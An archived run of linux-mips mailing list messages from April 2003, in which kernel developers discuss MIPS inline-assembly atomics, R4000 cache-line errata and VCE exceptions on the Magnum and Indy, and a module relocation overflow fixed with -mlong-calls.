From: "Kevin D. Kissell" <kevink@mips.com>
To: "Mike K." <linux_linux_2003@hotmail.com>,
	<linux-mips@linux-mips.org>
References: <BAY2-F148jSQU0d0uub000985dc@hotmail.com>
Subject: Re: __asm__  C code in mips-Linux
Date: Thu, 3 Apr 2003 14:58:25 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Return-Path: <kevink@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1907
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kevink@mips.com
Precedence: bulk
X-list: linux-mips

> extern __inline__ void atomic_add(int i, atomic_t * v)
> {
> unsigned long temp;
> 
> __asm__ __volatile__(
> "1:   ll      %0, %1      # atomic_add\n"
> "     addu    %0, %2                  \n"
> "     sc      %0, %1                  \n"
> "     beqz    %0, 1b                  \n"
> : "=&r" (temp), "=m" (v->counter)
> : "Ir" (i), "m" (v->counter));
> }
> 
> 
> Beginner questions on the above code...

See http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_4.html#SEC93
or any of a number of other on-line copies of the gcc documentation.
Gcc has a very powerful and cool means of binding C variables to
assembly-language operands.  The syntax can be painful, but you
can do amazing things with it - in this case, an in-line atomic add
for C.


From macro@ds2.pg.gda.pl Thu Apr  3 15:10:29 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 15:10:30 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:33200 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225264AbTDCOK3>; Thu, 3 Apr 2003 15:10:29 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA22762;
	Thu, 3 Apr 2003 16:11:02 +0200 (MET DST)
Date: Thu, 3 Apr 2003 16:11:02 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: ralf@linux-mips.org
cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux 
In-Reply-To: <20030403133610Z8225197-1272+1139@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030403154337.19058E-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1908
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 3 Apr 2003 ralf@linux-mips.org wrote:

> Modified files:
> 	arch/mips/mm   : Tag: linux_2_4 c-r4k.c 
> 	arch/mips64/mm : Tag: linux_2_4 c-r4k.c 
> 
> Log message:
> 	Add check for R4000 V2.2 errata #2.

 Hmm, erratum #2 is about status output pins.  I suppose you mean erratum
#5.  But then it applies to V3.0, too.

 Then the bit is r/w, so how about toggling it instead of panicking? 
With an informational message like:

printk(KERN_ERR "Firmware bug: 32-byte I-cache line size unsupported for
the R4000...\n");
printk(KERN_ERR "... fixing up to 16-byte size.\n");

Of course that probably requires a temporary cache inhibition and
invalidation.

 Would you care to code that or should I look into it?

  Maciej

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ralf@linux-mips.net Thu Apr  3 15:24:35 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 15:24:36 +0100 (BST)
Received: from p508B6582.dip.t-dialin.net ([IPv6:::ffff:80.139.101.130]:15853
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDCOYf>; Thu, 3 Apr 2003 15:24:35 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h33EOTv03207;
	Thu, 3 Apr 2003 16:24:29 +0200
Date: Thu, 3 Apr 2003 16:24:29 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
Message-ID: <20030403162428.A2460@linux-mips.org>
References: <20030403133610Z8225197-1272+1139@linux-mips.org> <Pine.GSO.3.96.1030403154337.19058E-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030403154337.19058E-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Thu, Apr 03, 2003 at 04:11:02PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1909
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 03, 2003 at 04:11:02PM +0200, Maciej W. Rozycki wrote:

>  Hmm, erratum #2 is about status output pins.  I suppose you mean erratum
> #5.  But then it applies to V3.0, too.
> 
>  Then the bit is r/w, so how about toggling it instead of panicking? 
> With an informational message like:
> 
> printk(KERN_ERR "Firmware bug: 32-byte I-cache line size unsupported for
> the R4000...\n");
> printk(KERN_ERR "... fixing up to 16-byte size.\n");
> 
> Of course that probably requires a temporary cache inhibition and
> invalidation.

I know of one machine where changing the size of the cacheline is supposed
not to work, that's the MIPS Magnum 4000 and it's close relatives.

Anyway, I put the check there for the unlikely case there are broken
systems out there.  In practice I assume vendors were aware of this
problem and the check is purely theoretical and for paranoid correctness's
sake.

It seems like changing the configuration to larger cache lines where
possible should improve performance somewhat.  If all the cache code is
working truly correct we also should no longer see VCE exceptions on
R4000SC processors - the reason why Indys are still a valuable test tool.

  Ralf

From macro@ds2.pg.gda.pl Thu Apr  3 15:48:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 15:48:36 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:57777 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225197AbTDCOsg>; Thu, 3 Apr 2003 15:48:36 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA23198;
	Thu, 3 Apr 2003 16:48:22 +0200 (MET DST)
Date: Thu, 3 Apr 2003 16:48:21 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
In-Reply-To: <20030403162428.A2460@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030403163046.19058F-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1910
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 3 Apr 2003, Ralf Baechle wrote:

> I know of one machine where changing the size of the cacheline is supposed
> not to work, that's the MIPS Magnum 4000 and it's close relatives.

 Hmm, why -- is such a change observable externally in any way?  Of
course you can't switch the other way if the s-cache uses a line width of
16 bytes.  Maybe that's the case with the Magnum?

> Anyway, I put the check there for the unlikely case there are broken
> systems out there.  In practice I assume vendors were aware of this
> problem and the check is purely theoretical and for paranoid correctness's
> sake.

 Still V3.0 should be taken into account.

> It seems like changing the configuration to larger cache lines where
> possible should improve performance somewhat.  If all the cache code is

 Why?  It isn't that obvious especially as a p-cache miss costs a single
cycle only.

> working truly correct we also should no longer see VCE exceptions on
> R4000SC processors - the reason why Indys are still a valuable test tool.

 As are DECstations which use the opposite endianness -- so you can test
code both ways.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From quintela@mandrakesoft.com Thu Apr  3 15:52:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 15:52:02 +0100 (BST)
Received: from cm19173.red.mundo-r.com ([IPv6:::ffff:213.60.19.173]:54389 "EHLO
	trasno.mitica") by linux-mips.org with ESMTP id <S8225197AbTDCOwA>;
	Thu, 3 Apr 2003 15:52:00 +0100
Received: by trasno.mitica (Postfix, from userid 1001)
	id 09F65724; Thu,  3 Apr 2003 16:51:54 +0200 (CEST)
To: Ralf Baechle <ralf@linux-mips.org>
Cc: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>,
	linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
X-Url: http://people.mandrakesoft.com/~quintela
From: Juan Quintela <quintela@mandrakesoft.com>
In-Reply-To: <20030403162428.A2460@linux-mips.org> (Ralf Baechle's message
 of "Thu, 3 Apr 2003 16:24:29 +0200")
References: <20030403133610Z8225197-1272+1139@linux-mips.org>
	<Pine.GSO.3.96.1030403154337.19058E-100000@delta.ds2.pg.gda.pl>
	<20030403162428.A2460@linux-mips.org>
Date: Thu, 03 Apr 2003 16:51:53 +0200
Message-ID: <86of3nk512.fsf@trasno.mitica>
User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2.93
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <quintela@mandrakesoft.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1911
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: quintela@mandrakesoft.com
Precedence: bulk
X-list: linux-mips

>>>>> "ralf" == Ralf Baechle <ralf@linux-mips.org> writes:

ralf> On Thu, Apr 03, 2003 at 04:11:02PM +0200, Maciej W. Rozycki wrote:
>> Hmm, erratum #2 is about status output pins.  I suppose you mean erratum
>> #5.  But then it applies to V3.0, too.
>> 
>> Then the bit is r/w, so how about toggling it instead of panicking? 
>> With an informational message like:
>> 
>> printk(KERN_ERR "Firmware bug: 32-byte I-cache line size unsupported for
>> the R4000...\n");
>> printk(KERN_ERR "... fixing up to 16-byte size.\n");
>> 
>> Of course that probably requires a temporary cache inhibition and
>> invalidation.

ralf> I know of one machine where changing the size of the cacheline is supposed
ralf> not to work, that's the MIPS Magnum 4000 and it's close relatives.

ralf> Anyway, I put the check there for the unlikely case there are broken
ralf> systems out there.  In practice I assume vendors were aware of this
ralf> problem and the check is purely theoretical and for paranoid correctness's
ralf> sake.

ralf> It seems like changing the configuration to larger cache lines where
ralf> possible should improve performance somewhat.  If all the cache code is
ralf> working truly correct we also should no longer see VCE exceptions on
ralf> R4000SC processors - the reason why Indys are still a valuable test tool.

I still got lot of them :(

VCED exceptions         : 1544376
VCEI exceptions         : 92380

That machine was booted yesterday night.  I haven't login on it,
i.e. only normal daemons for a nfsrooted machine running.

Later, Juan.

-- 
In theory, practice and theory are the same, but in practice they 
are different -- Larry McVoy

From ralf@linux-mips.net Thu Apr  3 16:42:23 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 16:42:24 +0100 (BST)
Received: from p508B6582.dip.t-dialin.net ([IPv6:::ffff:80.139.101.130]:7406
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDCPmX>; Thu, 3 Apr 2003 16:42:23 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h33FgJ704697;
	Thu, 3 Apr 2003 17:42:19 +0200
Date: Thu, 3 Apr 2003 17:42:19 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
Message-ID: <20030403174219.A4276@linux-mips.org>
References: <20030403162428.A2460@linux-mips.org> <Pine.GSO.3.96.1030403163046.19058F-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030403163046.19058F-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Thu, Apr 03, 2003 at 04:48:21PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1912
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 03, 2003 at 04:48:21PM +0200, Maciej W. Rozycki wrote:

> > I know of one machine where changing the size of the cacheline is supposed
> > not to work, that's the MIPS Magnum 4000 and it's close relatives.
> 
>  Hmm, why -- is such a change observable externally in any way?  Of
> course you can't switch the other way if the s-cache uses a line width of
> 16 bytes.  Maybe that's the case with the Magnum?

It's a hardware problem with the memory controller I was told by one of
it's developpers.  That forced them to run the machine with an different
line size for D-cache and I-Cache.  There's various revs of the Magnum's
memory controller and only one of them got all the cases right ...

Maybe DECstation and other SGI hardware got that better?

> > Anyway, I put the check there for the unlikely case there are broken
> > systems out there.  In practice I assume vendors were aware of this
> > problem and the check is purely theoretical and for paranoid correctness's
> > sake.
> 
>  Still V3.0 should be taken into account.

Ok.

> > It seems like changing the configuration to larger cache lines where
> > possible should improve performance somewhat.  If all the cache code is
> 
>  Why?  It isn't that obvious especially as a p-cache miss costs a single
> cycle only.

During my recent work on the cache code I found the execution time of
cache flushing code to be quite a bit higher than previously assumed so
larger lines would help reducing that also.

> > working truly correct we also should no longer see VCE exceptions on
> > R4000SC processors - the reason why Indys are still a valuable test tool.
> 
>  As are DECstations which use the opposite endianness -- so you can test
> code both ways.

A bunch of evaluation boards that support running in the other endianess
and way exceed the performance of any R4000-based platform.  Just having
to flip a switch on the board is very handy.

  Ralf

From macro@ds2.pg.gda.pl Thu Apr  3 17:26:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 17:26:35 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:52149 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225197AbTDCQ0e>; Thu, 3 Apr 2003 17:26:34 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA24442;
	Thu, 3 Apr 2003 18:27:03 +0200 (MET DST)
Date: Thu, 3 Apr 2003 18:27:03 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
In-Reply-To: <20030403174219.A4276@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030403181029.19058I-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1913
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 3 Apr 2003, Ralf Baechle wrote:

> >  Hmm, why -- is such a change observable externally in any way?  Of
> > course you can't switch the other way if the s-cache uses a line width of
> > 16 bytes.  Maybe that's the case with the Magnum?
> 
> It's a hardware problem with the memory controller I was told by one of
> it's developpers.  That forced them to run the machine with an different
> line size for D-cache and I-Cache.  There's various revs of the Magnum's
> memory controller and only one of them got all the cases right ...

 Hmm, that's even more interesting -- how can instruction fetches be
distinguished from data reads externally???  Then again, the memory
controller shouldn't be able to observe inter-cache data moves.  Strange.

> Maybe DECstation and other SGI hardware got that better?

 No problem testing, I suppose.

> >  Why?  It isn't that obvious especially as a p-cache miss costs a single
> > cycle only.
> 
> During my recent work on the cache code I found the execution time of
> cache flushing code to be quite a bit higher than previously assumed so
> larger lines would help reducing that also.

 This can be benchmarked -- there may be some gain for p-cache flushes
indeed. 

> > > working truly correct we also should no longer see VCE exceptions on
> > > R4000SC processors - the reason why Indys are still a valuable test tool.
> > 
> >  As are DECstations which use the opposite endianness -- so you can test
> > code both ways.
> 
> A bunch of evaluation boards that support running in the other endianess
> and way exceed the performance of any R4000-based platform.  Just having
> to flip a switch on the board is very handy.

 I was referring to testing cache and VCE code specifically -- you won't
get that from usual evaluation boards.

 Note that with evil /dev/mem maps you should still be able to force VCEs
if needed. ;-)

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From dom@mips.com Thu Apr  3 17:32:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 17:32:12 +0100 (BST)
Received: from alg145.algor.co.uk ([IPv6:::ffff:62.254.210.145]:18449 "EHLO
	dmz.algor.co.uk") by linux-mips.org with ESMTP id <S8225197AbTDCQcK>;
	Thu, 3 Apr 2003 17:32:10 +0100
Received: from alg158.algor.co.uk ([62.254.210.158] helo=olympia.mips.com)
	by dmz.algor.co.uk with esmtp (Exim 3.35 #1 (Debian))
	id 1917im-00077d-00; Thu, 03 Apr 2003 17:37:48 +0100
Received: from gladsmuir.algor.co.uk ([172.20.192.66] helo=gladsmuir.mips.com)
	by olympia.mips.com with esmtp (Exim 3.36 #1 (Debian))
	id 1917cw-0004iz-00; Thu, 03 Apr 2003 17:31:46 +0100
From: Dominic Sweetman <dom@mips.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16012.25072.379410.787234@gladsmuir.mips.com>
Date: Thu, 3 Apr 2003 17:31:44 +0100
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: Ralf Baechle <ralf@linux-mips.org>, linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
In-Reply-To: <Pine.GSO.3.96.1030403181029.19058I-100000@delta.ds2.pg.gda.pl>
References: <20030403174219.A4276@linux-mips.org>
	<Pine.GSO.3.96.1030403181029.19058I-100000@delta.ds2.pg.gda.pl>
X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
X-MTUK-Scanner: Found to be clean
X-MTUK-SpamCheck: not spam, SpamAssassin (score=-2, required 4.5, AWL,
	EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES,
	SPAM_PHRASE_00_01)
Return-Path: <dom@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1914
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dom@mips.com
Precedence: bulk
X-list: linux-mips


Maciej W. Rozycki (macro@ds2.pg.gda.pl) writes:

> Hmm, that's even more interesting -- how can instruction fetches be
> distinguished from data reads externally???

The length of the burst is encoded in the bus command sent out by the
R4000 at the beginning of a read or write cycle.  For the system to
work, the memory controller has to be able to do the right thing for
both of the lengths which might happen...

It's very hard to see how a system could fail to work by making the
I-cache line the same size as a D-cache line.

> Then again, the memory controller shouldn't be able to observe
> inter-cache data moves.

This is true: for L2-equipped chips I assume you can't see the
difference between I- and D-.

--
Dominic
MIPS Technologies UK.


From macro@ds2.pg.gda.pl Thu Apr  3 17:47:05 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 17:47:05 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:52662 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225197AbTDCQrF>; Thu, 3 Apr 2003 17:47:05 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA24847;
	Thu, 3 Apr 2003 18:47:22 +0200 (MET DST)
Date: Thu, 3 Apr 2003 18:47:21 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Dominic Sweetman <dom@mips.com>
cc: Ralf Baechle <ralf@linux-mips.org>, linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
In-Reply-To: <16012.25072.379410.787234@gladsmuir.mips.com>
Message-ID: <Pine.GSO.3.96.1030403183957.19058J-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1915
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 3 Apr 2003, Dominic Sweetman wrote:

> The length of the burst is encoded in the bus command sent out by the
> R4000 at the beginning of a read or write cycle.  For the system to
> work, the memory controller has to be able to do the right thing for
> both of the lengths which might happen...
[...]
> This is true: for L2-equipped chips I assume you can't see the
> difference between I- and D-.

 Ah sure -- now I see where a fault in my consideration is.  While
thinking of SC chips, I forgot of the existence of PC ones -- certainly if
the Magnum used a PC configuration, its chipset could easily observe a
change of a p-cache line size.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ralf@linux-mips.net Thu Apr  3 22:05:09 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 22:05:10 +0100 (BST)
Received: from p508B6582.dip.t-dialin.net ([IPv6:::ffff:80.139.101.130]:26499
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDCVFJ>; Thu, 3 Apr 2003 22:05:09 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h33L4p710586;
	Thu, 3 Apr 2003 23:04:51 +0200
Date: Thu, 3 Apr 2003 23:04:51 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Madhavi <madhavis@sasken.com>
Cc: linux-mips@linux-mips.org
Subject: Re: Relocation overflow problem with MIPS
Message-ID: <20030403230451.A6583@linux-mips.org>
References: <Pine.LNX.4.33.0304031124100.24014-100000@pcz-madhavis.sasken.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33.0304031124100.24014-100000@pcz-madhavis.sasken.com>; from madhavis@sasken.com on Thu, Apr 03, 2003 at 11:25:28AM +0530
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1916
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 03, 2003 at 11:25:28AM +0530, Madhavi wrote:

> I am working on a device driver software for linux kernel version 2.4.19.
> My driver is a loadable module and the size of the module executable is
> approximately 1.4MB.
> 
> When I tried to load this module on x86, I didn't have any problems while
> installing it. On MIPS (R5432) CPU, this is giving the following problems:
> 
> edge_mod.o: Relocation overflow of type 4 for printk

[...]

You must use the same flag to compile modules as the kernel's Makefile.
In particular you were missing -mlong-calls.

> Could anyone tell me what this problem could be? What is relocation
> overflow of type 4? Where can I find the list of all the possible
> relocation overflow types and their descriptions?

Read the source ...

> My module is not compiled using the options -fPIC. Would it make any
> difference if I enable this option?
> 
> I have seen this following comment in modutils-2.4.12/obj/obj_mips.c
> 
> /* _gp_disp is a magic symbol for PIC which is not supported for
>    the kernel and loadable modules.  */
> 
> So, I was thinking that -fPIC wouldn't help much. Am I right?

-fPIC is the compiler default.

> Sasken Business Disclaimer

[legal bullshit disclaimer burried in /dev/zero]

  Ralf

From ralf@linux-mips.net Thu Apr  3 23:55:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 03 Apr 2003 23:55:35 +0100 (BST)
Received: from p508B6582.dip.t-dialin.net ([IPv6:::ffff:80.139.101.130]:51844
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225197AbTDCWze>; Thu, 3 Apr 2003 23:55:34 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h33MtQY12664;
	Fri, 4 Apr 2003 00:55:26 +0200
Date: Fri, 4 Apr 2003 00:55:26 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Cc: Dominic Sweetman <dom@mips.com>, linux-mips@linux-mips.org
Subject: Re: CVS Update@-mips.org: linux
Message-ID: <20030404005526.B6583@linux-mips.org>
References: <16012.25072.379410.787234@gladsmuir.mips.com> <Pine.GSO.3.96.1030403183957.19058J-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.3.96.1030403183957.19058J-100000@delta.ds2.pg.gda.pl>; from macro@ds2.pg.gda.pl on Thu, Apr 03, 2003 at 06:47:21PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1917
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 03, 2003 at 06:47:21PM +0200, Maciej W. Rozycki wrote:

> > The length of the burst is encoded in the bus command sent out by the
> > R4000 at the beginning of a read or write cycle.  For the system to
> > work, the memory controller has to be able to do the right thing for
> > both of the lengths which might happen...
> [...]
> > This is true: for L2-equipped chips I assume you can't see the
> > difference between I- and D-.
> 
>  Ah sure -- now I see where a fault in my consideration is.  While
> thinking of SC chips, I forgot of the existence of PC ones -- certainly if
> the Magnum used a PC configuration, its chipset could easily observe a
> change of a p-cache line size.

The Magum was using a PC processor.  There also was some server version of
the system based on the SC CPU but afair it was sold as Millenium 4000
but aside of the CPU it was essentially the same.

  Ralf

From WayneChen@aiptek.com.tw Fri Apr  4 01:36:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 01:36:01 +0100 (BST)
Received: from h237-210-243-242.seed.net.tw ([IPv6:::ffff:210.243.242.237]:49915
	"EHLO relay.aiptek.com.tw") by linux-mips.org with ESMTP
	id <S8225213AbTDDAgA>; Fri, 4 Apr 2003 01:36:00 +0100
Received: from mail.aiptek.com.tw (mail.aiptek.com.tw [10.0.1.149])
	by relay.aiptek.com.tw (8.11.6/8.11.6) with ESMTP id h348aBk00460
	for <linux-mips@linux-mips.org>; Fri, 4 Apr 2003 16:36:13 +0800
Received: from WayneChen ([10.0.3.56]) by mail.aiptek.com.tw with Microsoft SMTPSVC(5.0.2195.5329);
	 Fri, 4 Apr 2003 08:35:47 +0800
From: "Wayne Chen" <waynechen@aiptek.com.tw>
To: <linux-mips@linux-mips.org>
Subject: Unregisterd
Date: Fri, 4 Apr 2003 08:35:46 +0800
Message-ID: <000201c2fa42$22821090$3803000a@aiptek.com.tw>
